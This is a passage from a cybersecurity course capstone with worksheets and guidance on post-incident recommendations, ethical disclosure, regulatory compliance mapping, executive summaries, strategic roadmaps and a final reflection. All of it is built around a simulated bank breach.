- **High** → Critical fixes, immediate (MFA, patching, firewall rule updates).
- **Medium** → Important but less urgent (staff training, quarterly tabletop exercises).

- **Low** → Longer-term or resource-dependent (new SIEM module, machine learning detection).

Step 4: Exercise – Draft 3–5 Recommendations

Learners must propose at least **one per category** (technical, process, people).

Recommendation	Category	Priority (H/M/L)	Owner	Deadline
_____	Technical	_____	_____	_____
_____	Process	_____	_____	_____
_____	People	_____	_____	_____
_____	(Optional)	_____	_____	_____

Step 5: Deliverable

- Submit a **Final Recommendations Report** (3–5 prioritized actions).
- Must include:
    - At least one technical, one process, and one people-focused recommendation.
    - Priority ranking.
    - Assigned owners and deadlines.

Checkpoint: Section 5.6

Before moving forward, ensure you:

- Drafted at least 3 recommendations (technical, process, people).
- Prioritized recommendations (H/M/L).
- Assigned owners and deadlines.
- Submitted Final Recommendations Report

Final Recommendations Worksheet – Post-Incident Improvements

Case ID: _____

Incident Title: _____

Date Prepared: _____

Prepared By: _____

1. Recommendations Table

Recommendation	Category	Priority (H/M/L)	Owner	Deadline	Notes
_____	Technical	_____	_____	_____	_____
_____	Process	_____	_____	_____	_____
_____	People	_____	_____	_____	_____
_____	(Optional)	_____	_____	_____	_____

2. Rationale for Each Recommendation

(Explain why each recommendation is necessary, linking it back to findings from Root Cause, Impact Review, and Lessons Learned.)

- **Recommendation 1:** _____
- **Recommendation 2:** _____
- **Recommendation 3:** _____
- **Recommendation 4 (Optional):** _____

3. Expected Outcomes

(Describe how implementing these recommendations will improve security resilience.)

---

4. Follow-Up Plan

- Present recommendations to leadership
- Add recommendations to security roadmap
- Review implementation status in 30/60/90-day checkpoints

Phase 6: Ethics, Strategy, and Presentation

6.1 Ethical Responsibilities in Incident Response

Why Ethics Matter

Incident response isn't just about stopping the attack — it's about **doing the right thing** for customers, employees, regulators, and the public.
As a Junior Analyst, you won't decide legal actions, but you **must recognize when ethical and legal issues arise** and escalate them appropriately.

Step 1: Ask the Key Question

Was sensitive data exposed?

- **Yes** → this may trigger disclosure obligations (to customers, regulators, or law enforcement).
- **No** → continue monitoring, but still document what *could have been exposed*.

Example (NexaBank Case):

- Compromised account: dbadmin
- Data accessed: HR employee records
- Ethical impact: Employees must be informed their PII (personal data) was exposed.

Step 2: Identify Who Must Be Informed

If exposure is confirmed or suspected, the SOC must escalate to leadership. Potential stakeholders include:

- **Legal Counsel** → to interpret regulations.
- **Regulators** → GDPR, PCI DSS, SOX, HIPAA, FFIEC, etc.
- **Affected Customers or Employees** → whose data was exposed.
- **Law Enforcement** → if laws were broken or criminal activity is clear.

Step 3: Ethical Responsibilities of SOC Analysts

As a Junior Analyst, your responsibilities are to:

- Document **what was affected** (systems, files, accounts).
- Flag **potential compliance requirements** in your report.
- Escalate to **legal and executive teams** — don't make the final disclosure decision yourself.
- Ensure **accuracy and honesty** in reporting — *never downplay or cover up*.

Step 4: Ethical Scenarios Exercise

Learners analyze sample scenarios and decide what must be disclosed.

Scenario	Data Involved	Ethical Response
HR files copied by attacker	Employee PII	Notify HR + Legal, likely disclosure to employees
Malware found on one endpoint, no exfiltration	Local workstation files	Document, but no disclosure needed unless proven exposure
Customer transaction logs exfiltrated	Financial data	Notify Legal + Compliance, disclosure to customers and regulator required

Step 5: Deliverable

- **Ethical Disclosure Worksheet**: Document:
    - Data potentially exposed
    - Who was affected
    - Who must be informed
    - Whether disclosure is legally required or ethically advisable

Ethical Disclosure Worksheet – Template

Case ID: _____
Incident Title: _____
Date Prepared: _____
Analyst: _____

1. Data Potentially Exposed

---

2. Affected Stakeholders (Employees, Customers, Partners)

---

3. Required Notifications (check all that apply)

- Internal: Executives, Legal, HR
- Customers or Employees
- Regulators (GDPR, PCI DSS, HIPAA, etc.)
- Law Enforcement
- Other: _____

4. Ethical Notes

(Why disclosure is required, or why it may be ethically advisable even if not required by law.)

6.2 Compliance and Regulatory Reporting

Why This Matters

When sensitive data is exposed, organizations may face **legal and regulatory obligations**.
Compliance isn't optional — failure to notify regulators or customers can lead to **fines, lawsuits, and loss of trust**.

As a SOC analyst, you don't write the legal filings, but you must:

- **Recognize which regulations might apply.**
- **Document incident findings clearly** so Legal/Compliance teams can act.

Step 1: Identify Applicable Regulations

NexaBank, as a financial institution, may fall under several frameworks depending on **data type** and **jurisdiction**:

- **GDPR** → European customer or employee data
- **PCI DSS** → Payment card data processed or stored
- **SOX** → Financial reporting and internal control requirements
- **HIPAA** → Health-related data (if present in HR or insurance systems)
- **FFIEC** → U.S. banking oversight standards

Example (NexaBank Case):

- HR employee data exposed → likely triggers GDPR (EU staff) and state-level privacy laws.
- Customer financial records safe → PCI DSS not triggered.

Step 2: Link Data Exposure to Regulation

Use a **mapping approach**: what type of data was compromised, and which regulation applies?

Data Type	Potential Regulation(s)	Reporting Obligation
Employee PII (EU staff)	GDPR	Must notify regulator + affected individuals within 72h
Payment card data	PCI DSS	Must notify acquiring bank + possibly cardholders
Customer banking data	FFIEC, SOX	May require regulator notification, board reporting
Health/insurance data	HIPAA	Must notify HHS + affected individuals

Step 3: Consider Reporting Requirements

Regulations vary, but typical obligations include:

- **Who to notify** → regulator, customers, law enforcement.
- **When to notify** → e.g., GDPR requires within 72 hours.
- **What to include** → description of breach, data affected, mitigation steps.

Step 4: Exercise – Compliance Mapping Table

Learners complete based on their incident findings.

Data Compromised	Regulation Triggered	Notification Deadline	Reporting Entity
_____	_____	_____	_____
_____	_____	_____	_____

Step 5: Deliverable

- Submit a **Compliance Mapping Table** for the incident.
- Must include:

- At least 2 data types reviewed
- The regulation triggered (if any)
- Notification requirements (deadline + who to notify)

Compliance Mapping Worksheet – Template

Case ID: _____
Incident Title: _____
Date Prepared: _____
Analyst: _____

1. Data Compromised

2. Regulations Potentially Triggered

(Check all that may apply)

- GDPR
- PCI DSS
- SOX
- HIPAA
- FFIEC
- Other: _____

3. Compliance Mapping Table

Data Compromised	Regulation Triggered	Notification Deadline	Reporting Entity
_____	_____	_____	_____
_____	_____	_____	_____

4. Notes for Legal/Compliance Team

_____

_____

_____

6.3 Executive Summary Writing – Communicating to Leadership

Why This Matters

Executives and board members need to understand what happened during an incident, but they don't want (and often can't process) pages of technical jargon.

A good **executive summary**:

- Fits on **one page**
- Uses **plain business language**
- Covers only the most **critical facts and recommendations**

This document can influence:

- **Trust** → Are executives confident the SOC has control?
- **Decisions** → Will resources be allocated for fixes?
- **Compliance** → Proves leadership was informed.

Step 1: Key Components of an Executive Summary

Your summary should include five elements:

1. **What happened**
    - Short description of the incident.
    - Example: *"An unauthorized login to the HR database occurred on April 12, 02:41 UTC, leading to exfiltration of employee records."*
2. **How it was contained**
    - Main containment actions.
    - Example: *"The dbadmin account was disabled, the affected server isolated, and outbound traffic blocked."*
3. **What was affected**
    - Systems, data, and users.

- Example: *"Employee PII from 214 records accessed; no customer or payment data affected."*

4. **Regulatory/Disclosure Requirements**
    - Flag if reporting may be required.
    - Example: *"Possible GDPR notification obligation (EU employees affected)."*
5. **Top 3 Recommendations**
    - Clear and prioritized.
    - Example: *"(1) Enforce MFA on all privileged accounts. (2) Update incident playbook for data exfiltration. (3) Conduct employee awareness training."*

Step 2: Tone and Style

- **Do:** Be factual, concise, and professional.
- **Don't:** Use jargon (SIEM, IOC, lateral movement) unless explained.
- **Do:** Frame recommendations as **business risk reduction**.
- **Don't:** Overwhelm with too much detail.

Step 3: Example Executive Summary (NexaBank)

Executive Summary — NexaBank Incident (April 12)
On April 12, 2025, NexaBank detected unauthorized access to its HR database server from a foreign IP address. The attacker used a compromised privileged account (dbadmin) to exfiltrate sensitive employee records.

The Security Operations Center (SOC) contained the incident by disabling the account, isolating the affected server, and blocking outbound traffic. Forensics confirmed that 214 employee records containing personally identifiable information (PII) were accessed. No customer or financial data was affected.

Due to the exposure of European employee data, NexaBank may be subject to GDPR reporting requirements. The Legal and Compliance teams are reviewing obligations.

Top 3 Recommendations:

1. Enforce multi-factor authentication (MFA) on all privileged accounts.
2. Develop and test a playbook for handling data exfiltration incidents.
3. Launch an employee awareness program on account security and phishing.

Step 4: Exercise – Draft Your Own

Learners must draft a **1-page Executive Summary** for the NexaBank incident.

Checklist:

- Incident description
- Containment actions
- Impacted systems/data/users
- Compliance/disclosure needs
- Top 3 recommendations

Step 5: Deliverable

- Submit a **1-page Executive Summary Document** (leadership-ready).
- Must be clear, concise, and business-focused.

Executive Summary Template – Post-Incident Report

Organization: _____

Incident Title: _____

Date Prepared: _____

Prepared By: _____

1. Incident Overview

(Brief description — what happened, when, and how it was detected.)

2. Containment Actions

(Key steps taken to control the incident.)

3. Impact Assessment

(Systems, data, and users affected. Include estimated scope.)

4. Compliance / Disclosure Notes

(Potential regulatory obligations: GDPR, PCI DSS, HIPAA, etc. Who may need to be notified?)

5. Top 3 Recommendations

(Prioritized, clear, and business-oriented.)

1.
2.
3.

6.4 Strategic Improvement Plan – From Incident to Long-Term Security

Why This Matters

An incident shouldn't just be closed and forgotten.
Executives expect a **forward-looking plan** that shows the SOC isn't just reacting, but **strategically strengthening security** to prevent future breaches.

A strong **Strategic Improvement Plan** connects:

- **Short-term fixes** → immediate controls (patching, MFA, training)
- **Medium-term actions** → policy/process changes (new playbooks, quarterly drills)
- **Long-term initiatives** → architectural improvements (Zero Trust, SIEM tuning, cloud posture).

Step 1: Identify Key Lessons

Base your plan on:

- **Root Cause** → what failed
- **Business Impact** → what hurt the most
- **Lessons Learned** → what needs to change
- **Recommendations** → what must be prioritized

Example (NexaBank):

- Root Cause: No MFA on privileged accounts
- Impact: Exfiltration of employee PII
- Lesson: Weak identity controls = high business risk
- Recommendation: Deploy MFA + strengthen IAM

Step 2: Define Short-Term Fixes

Quick wins that reduce immediate exposure.
Examples:

- Apply missing patches on VPN/SSH services.
- Enforce MFA on all admin accounts.
- Update and test “Data Exfiltration” playbook.
- Conduct immediate phishing awareness campaign.

Step 3: Plan Medium-Term Actions

Sustain improvements over the next 3–6 months.
Examples:

- Schedule quarterly incident response tabletop exercises.
- Establish automated reporting workflows to Legal/Compliance.
- Improve endpoint logging and centralize via SIEM.

Step 4: Outline Long-Term Strategy

Think 12–24 months ahead.
Examples:

- Move toward Zero Trust architecture for remote access.
- Expand cloud security posture management.
- Deploy advanced SIEM/EDR/XDR integrations.
- Build a security awareness program with continuous reinforcement.

Step 5: Exercise – Build a Strategic Roadmap

Learners must create a **3-tier roadmap** (short-term, medium-term, long-term).

Initiative	Category (Short/Medium/Long)	Owner	Deadline	Priority
_____	Short-term	_____	_____	High

Initiative	Category (Short/Medium/Long)	Owner	Deadline	Priority
_____	Medium-term	_____	_____	Medium
_____	Long-term	_____	_____	Low

Step 6: Deliverable

- Submit a **Strategic Security Roadmap** (2–3 pages).
- Must include:
    - At least **2 short-term**, **2 medium-term**, and **2 long-term initiatives**
    - Owners and deadlines
    - Clear connection to lessons from the incident

Strategic Improvement Plan – Worksheet Template

Case ID: _____

Incident Title: _____

Date Prepared: _____

Prepared By: _____

1. Short-Term Fixes (0–90 days)

---

2. Medium-Term Actions (3–6 months)

---

3. Long-Term Strategy (6–24 months)

---

4. Strategic Roadmap Table

Initiative	Category	Owner	Deadline	Priority
_____	Short-term	_____	_____	High
_____	Medium-term	_____	_____	Medium
_____	Long-term	_____	_____	Low

6.5 Final Reflection and Submission – Wrapping Up the Capstone

Why This Matters

This is the **culmination of the capstone project**.
Learners have:

- Investigated a simulated breach
- Contained and documented the threat
- Analyzed risks, impact, and lessons
- Proposed policies and long-term improvements
  Now it's time to **package the work** and reflect on the journey.

Step 1: Assemble Deliverables

Learners prepare a **final submission packet** including:

1. **Full Incident Report** (technical details, evidence, timeline)
2. **Attack Timeline** (key events from first alert to recovery)
3. **Executive Summary** (1 page, business language)
4. **Strategic Roadmap** (short-, medium-, long-term improvements)
5. *(Optional)* Presentation or diagrams for leadership

Step 2: Reflect on the Experience

Learners write a **1–2 page reflection**, focusing on:

- **Skills Gained** → e.g., SIEM analysis, log review, risk register management, executive communication
- **Challenges Faced** → technical, organizational, or communication hurdles
- **Ethical Insights** → balancing technical response with compliance and accountability

- **Future Growth** → where they want to deepen skills next (forensics, SOC leadership, cloud security, etc.)

Example Reflection Prompt:

"The most challenging part of this incident was translating technical findings into an executive summary. It forced me to think like leadership and focus on risk, not just IOCs. This taught me the importance of clear communication in cybersecurity."

Step 3: Submission Checklist

Learners confirm all items are included before submission.

- Incident Report (technical)
- Attack Timeline
- Executive Summary (business-focused)
- Strategic Roadmap (forward-looking plan)
- Reflection Paper
- Optional: Presentation slides or visuals

Step 4: Deliverable

- Submit the **Final Capstone Portfolio** containing all required documents.
- This serves as both **course completion evidence** and a **portfolio piece** students can showcase.

Final Reflection & Submission Template

Name: _____
Course: Introduction to Cybersecurity – Capstone Project
Date: _____

1. Skills Gained

2. Challenges Faced

3. Ethical Insights

4. Future Growth Areas